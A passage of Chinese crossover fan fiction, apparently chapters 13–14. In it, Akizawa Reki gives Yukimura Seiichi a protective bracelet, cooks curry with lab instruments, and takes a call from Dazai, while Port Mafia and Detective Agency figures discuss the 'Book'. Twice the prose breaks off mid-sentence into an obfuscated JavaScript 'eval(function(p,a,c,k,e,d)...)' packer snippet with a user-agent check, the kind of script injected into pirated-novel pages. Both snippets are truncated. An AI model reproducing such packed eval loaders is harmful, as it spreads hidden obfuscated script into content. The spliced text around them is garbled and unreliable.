幸村精市一度以为会做饭也是一种天赋异禀,再加上秋沢栎糊弄人的方式比较高级,便也没怎么留意过他每天的一日三餐。所以,在看见那个连保护膜都还在上面、被粘的严严实实的锅的时候,他还是没忍住发出了一声冷笑。 秋沢栎脑袋转了转。 他每天都吃什么来着?哦,前一天去便利店买速食便当、速食饭团、速食……然后装进便当盒里装饰装饰就是一份午饭。 当然,如果不巧碰上便利店不开门的时候,他就只能去附近的超市里买几个面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秋沢栎按开了地下室的门,一道白光从门缝中露了出来,打在他毫无表情的脸上。少年径直垮了进去,那扇普通的门后是一处别有洞天的实验室。 实验室的台子上放了一个大致已经成型的手环,看起来是很普通的镯子,但是掂起来就会发现它极轻,是哪怕戴在手上也绝对不会干涉行动的重量。其上镌刻着繁复的纹路,从表面延伸到内部,只剩最后一处的空白待人填补。 秋沢栎拎起一旁的雕刻刀,几下就将最后一处补全,随即放在了一旁的仪器里,按下启动键。 猫蹲在上方的台子上,目光扫过一旁缺了一半的‘书’,咂舌道:“这可真奢侈……如果让那些人看见了,估计会露出很有意思的表情。” “再怎么神奇的东西,用在正途才是真的。” 秋沢栎语气冷淡,但提到另一个名字时却无可避免的带上了一点温度:“用来保佑他一辈子平安健康,顺遂无忧,最合适不过了。” 用世界的本源来做这点小事,那可太简单了。黑猫伸了伸爪子,叹息一声:猫都替它可怜。 仪器工作的时间很短,只消片刻就停下了运转。秋沢栎顺手将桌子上的那本只剩下一半的书塞到桌脚下,拎着那个手环转身出门。 在踏出地下室的那一瞬,他脸上重新挂上了温和的笑容。 “精市——” 幸村精市听到动静后转过身,他的腰上还系着从厨房柜子里找到的、宫野明美特供的围裙,手里拿着锅铲,从厨房探出脑袋,疑惑地“嗯?”了一声:“怎么了?” “我来帮你吧。” 秋沢栎顺手接过锅铲,将手环从他的手上套了进去,严丝合缝。 他笑眯眯地说道:“这个,礼物。” 幸村精市疑惑地看了一眼手腕上极为熟悉的手环,前世的秋沢栎也送过他一模一样的礼物,说是……祖传的? “祖传的,保平安用的。” 秋沢栎语气笃定,而后将他推出厨房,啪地一下关上了厨房门:“我来吧我来吧,你坐一会。” “你自己可以吗?不是没下过厨吗?” “没问题!!这点小事——” 关掉的厨房门将声音完全隔绝了。 14. 第 14 章 “……这点小事。” 他家厨房的门隔音很好,关上之后便听不见任何一点来自外面的声音,同时,也将秋沢栎没说完的后半句话关在了厨房里。 少年只手举着锅铲,面色凝重,像是遇到了一道难得的谜题一样严肃。他看了一眼水池里已经被幸村精市洗好的菜,又扒拉了一下放在一旁崭新的、明显是刚拎回来的购物袋,目光静悄悄地转向一旁的黑猫:“你……” “猫不会做饭,也拿不动锅铲。” 黑猫警惕地别过脑袋,大声喵喵叫:“不许推给猫,猫背不动这么大的锅。” 也是,不然就可以写一篇‘论如何让猫做出一日三餐’的论文了。 还是自己动手吧。 秋沢栎轻啧了一声,手指轻轻敲了敲厨房的桌台,随即,桌台下便亮起了一排灯,红红绿绿蓝蓝的闪烁交织。 “查询一下当前食材能做出什么菜。” “正在扫描……扫描结束……正在检索……” 一个无机质的声音骤然在他耳旁响起,数据的乱流像水一样刺啦刺啦地划过,片刻后,一道菜的菜谱凭空投影而出。 “咖喱?” 秋沢栎翻了翻制作方法,觉得这东西应该难不倒—— “适量?” 向来以严谨为标榜的小实验家打开了菜谱,罕见的顿了顿,谨慎的发问:“国际上是出了什么我不知道的新标量单位吗?” 难道是因为他这段时间沉迷于和幸村精市贴贴、去网球部训练和虐待……和正选们以及切原赤也比赛所以忽视了数学界的最新消息,已经赶不上时代的浪潮了吗? 不然这个适量是什么东西?! “我觉得应该不是。” 相比较于秋沢栎,更有一点生活经验的黑猫沉默了一下,从一旁的柜子里扒拉扒拉半天,叼出来了一本买厨具送的菜谱。 “还是看这个吧。” 这本菜谱上有准确的重量,解决了他们险些因为把握不好‘适量’的尺度而乱放材料的难题。 秋沢栎如释重负,正式开始与厨具搏斗。 “猪肉200g……嗯……” 他将目光转向了一旁的柜子,从里面摸出来了一个砝码盘,认真谨慎地将猪肉丢了上去。 203g。 少年捏着小刀将猪肉的边缘划掉了一小片。 200g。 这下刚刚好。 秋沢栎满意地点点头,转过头看下一步。 “切成2cm的块状……” 他摸出来了尺子,切出了完美的立方体。 “洋葱、胡萝卜、土豆100g……不放胡萝卜可以吗?算了,精市都洗干净了。” “滚刀块是什么?” “咖喱块……在这。” …… 黑猫为了防止自己掉毛污染菜系,规规矩矩地趴在离门最近离锅最远的地方,看着秋沢栎像做实验一样的严阵以待,桌子旁摆了一堆称重秤、尺子、小刀、镊子、烧杯……等东西,不自觉抽了抽嘴角。 别人做饭靠感觉,他靠仪器。 ……不过话说,这堆东西到底都是从哪弄来的,实验室的东西出现在厨房合理吗?! 远在东京的宫野志保打了个喷嚏。 坐在她身旁的宫野明美立刻皱眉:“是不是感冒了?志保,都说了让你别熬夜别熬夜,注意身体,你就是不听……” 宫野志保:…… 她痛苦并幸福地享受着姐姐的唠叨,并且在思考让她打喷嚏的罪魁祸首是谁。 一想二骂三惦记……这个时候谁在想她啊?会对她念念不忘的人现在不是都在监狱里蹲着的吗? 难不成日本公安看管不力,让琴酒他们跑出来了?不,她没接到消息…… 不过,还没等她思考出来答案,发现了她走神的宫野明美就更生气了:“你不要因为年轻就不注意……” 唉。 痛并幸福着。 痛并幸福着。 秋沢栎摸了一把脸,将削胡萝卜时飞溅到脸上的外皮扒拉掉,完全无视背后恍若世界大战之后的狼藉,推开了门。 客厅内,在幸村精市忐忑不安地等了半个小时后,终于见到了秋沢栎端着两盘卖相还不错的咖喱堂堂出现! 幸村精市很捧场地拍了拍手,而后顺滑地接了过去:“哇,看起来还不错呢。” 不管吃起来怎么样,但是最起码看着还不错……做饭果然还是很看天赋。 其实对着菜谱努力挣扎了好一会的秋沢栎哼哼两声,翘着不存在的尾巴打开冰箱……在幸村精市温柔的笑容里关闭冰箱,老老实实地去厨房倒水。 其实他的冰箱里大多是甜牛奶和瓶装茶,分开来看都是看似健康的饮品,但如果相兑就会变成甜滋滋且不失清香的奶茶,如果调整一下二者比例的话,这个味道还会变得更好。 但可惜,幸村精市将他们划入了‘垃圾食品’的行列,连带着秋沢栎也短暂地失去了在晚饭时享受它的权利。 不过这个不重要。 重要的是他做出来的饭味道居然意味的不错。 或许是因为能将咖喱这种东西做难吃也是一种本领,又或者是秋沢栎真的有一些做饭的天赋,总之幸村精市做好的“哪怕做的很难吃也要努力咽下夸奖他”的心理准备完全没用上,反而享受了一顿还不错的晚饭。 做饭这种东西果然还是很看天赋。 晚饭后,幸村精市帮忙打扫了一片狼藉的厨房,又在客厅里坐了一会之后才提出告别。 秋沢栎将人送到大门口,吃饱喝足之后,他整个人像一只懒洋洋的猫一样贴在门口的柱子上,摆了摆手:“路上小心——” 虽然幸村精市家就在隔壁,只要探出个脑袋就能亲眼看着对方踏进亮着暖灯的客厅,但难得有机会说这种话,仪式感不能没有,秋沢栎还是朝他挥了挥手。 “真是的……” 幸村精市好笑地摸了摸他的脑袋,手下的触感丝滑如绸缎,带着淡淡的香味,令人欲罢不能。他忍不住又搓了几下,直到将人柔软顺滑的白发揉成乱糟糟的切原赤也同款发型之后才意犹未尽地收手:“明天见。” 秋沢栎眨了眨眼:“明天见。” 明天明天,等到明天的太阳升起,他们就能再见了。 这真是一个让人期待万分的词语。 幸村精市回家了,秋沢栎一直注视着他,直到那个背影融化在那一片暖黄之中才收回目光,转身朝地下室走去。 睡了一天一夜,又吃了一顿暖洋洋的晚饭,他觉得自己有大把的精力能挥霍! “铃铃——” 这时,一道铃声骤然响起,阻拦了他去往地下室的路。 “谁啊,这个时候打电话……” 秋沢栎心情很好的哼着歌,瞥了一眼手机屏幕上显示的备注,决定给所有人好脸色看。 AA横滨绷带批发户。 秋沢栎:…… 这个给不了。 他刚扬起的嘴角歘一下的落了下去。 黑猫吃完了秋沢栎特意给它留的一份咖喱,正在一旁满足的舔爪子,瞥见这个名字后,也迅速收敛了自己的好心情。 “需要我来接吗?” 猫拍了拍秋沢栎:“这家伙很少联系你,但如果等不到你回应的话可是不会罢休的。” 似乎是在印证它的话一般,电话铃声因为长时间无人应答挂断之后,又像催命符一样的响起,大有一副不达目的誓不罢休的样子。 “算了,还是我接吧。” 秋沢栎转了转手机,视死如归的按下接听键:“喂?” “终于接电话了呢。” 一道明显是青年的声音响起。 那道声音黏黏糊糊,带着点微不可察的笑意,但话语却又冰冷,像一滩驱散不掉的黑泥,透过电话顺势爬上他的脊背:“阿栎,离开横滨这么久,在外面玩够了吗?” 秋沢栎愣了愣,而后耷拉下了眉眼,懒洋洋地说道:“我在录音,待会就发给织田哥。” 对面一秒恢复正常:“啧,不好玩了。” “呵。”秋沢栎冷笑一声:“有话直说,你来找我可没什么好事。” 让他想想,上次联系他是撕掉了“书”的一页带回横滨不知道要搞什么事,上上次是用他的电话哄骗某不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面陷入了静寂,似乎在思考。 啪。 他没了耐心,干脆利落地挂了电话。 徒留对面的一群人面面相觑。 武装侦探社的社长办公室内,闲杂人等被全部驱逐,只剩下寥寥几人站在原地,对着办公桌上被挂掉的手机沉默。 “被嫌弃了呢,森先生。” 一身风衣的青年靠在桌子上摊了摊手,笑得漫不经心:“你看,我就说了吧,那孩子可不是我能管得了的,找小蛞蝓都比找我靠谱。” 森鸥外难得觉得有些头疼,他揉了揉眉:“你也清楚中也是不会出面的……唉,实验,真是一个久违又陌生的词。” 上一个拿‘书’做实验的已经将世界的命运线搅得天翻地覆了,森鸥外不敢想象完全继承了其父亲天赋的秋沢栎又干了什么事。 但他、或者说横滨的大多数异能者都因为种种限制而无法去接触这个孩子,更无从得知他的目的,这让习惯于将一切握在手中的森鸥外来说,就像是蚂蚁不住的在身上爬,难受极了。 同时,如果不是因为完全完全无法去接触秋沢栎,森鸥外绝对不会想利用自己这个前下属的。 很显然,青年完全没给他什么靠谱的答案。 “真是没用啊,太宰君。”他幽幽地说道:“我说,贵社也稍微遵循一下契约精神吧。” 为了让太宰治联系秋沢栎问清楚书的变化,港口黑手党可是付出了一些代价呢。 福泽谕吉充耳不闻,他将目光落到坐在沙发上吃零食的青年身上,问道:“乱步,这件事会产生什么不好的影响吗?” 江户川乱步将最后一块饼干塞进嘴里,瞥了一眼被港口黑手党带来的、属于的‘书’的模型,摸了摸下巴,含糊不清地说道:“暂时……最起码在他二十岁之前不会有问题。” 也就是说,暂时不会对这个世界产生什么威胁。 “好。”福泽谕吉点了点头,转头望向森欧外,毫不留情地赶客:“交易结束了,请回吧。” 森鸥外:…… 啧。